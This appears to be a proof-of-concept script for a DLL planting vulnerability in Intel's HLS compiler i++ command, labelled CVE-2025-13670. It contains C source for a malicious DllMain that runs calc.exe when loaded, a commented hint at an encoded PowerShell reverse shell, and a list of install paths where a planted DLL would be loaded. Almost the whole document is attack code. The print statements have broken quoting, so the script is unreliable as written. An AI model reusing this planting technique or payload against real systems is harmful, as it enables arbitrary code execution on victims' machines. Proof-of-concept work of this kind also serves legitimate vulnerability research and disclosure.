CVE-2025-13670

# CVE-2025-13670 PoC - DLL Planting # Target: Intel PSG High Level Synthesis Compiler i++ command # Environment: Windows import os import ctypes # Step 1: Create malicious DLL that will be planted dll_code = ''' #include <windows.h> BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { if (fdwReason == DLL_PROCESS_ATTACH) { // Execute malicious payload WinExec("calc.exe", SW_SHOWNORMAL); // Or execute reverse shell, exfiltrate data, etc. // system("powershell -enc <base64_shell>"); } return TRUE; } ''' # Step 2: Plant malicious DLL in compiler search path # Common paths to check: paths_to_check = [ r"C:\Program Files\Intel\HLS\bin", r"C:\Program Files (x86)\Intel\HLS\bin", r"C:\Intel\HLS\bin", os.path.expanduser(r"~\Intel\HLS\bin") ] # Step 3: Wait for user to execute i++ command print("["] Checking for vulnerable DLL loading paths...") for path in paths_to_check: if os.path.exists(path): print(f"[+] Found HLS installation: {path}") # Attacker would place malicious DLL here # The i++ command will load this DLL when executed print("["] PoC for CVE-2025-13670 DLL Planting vulnerability")

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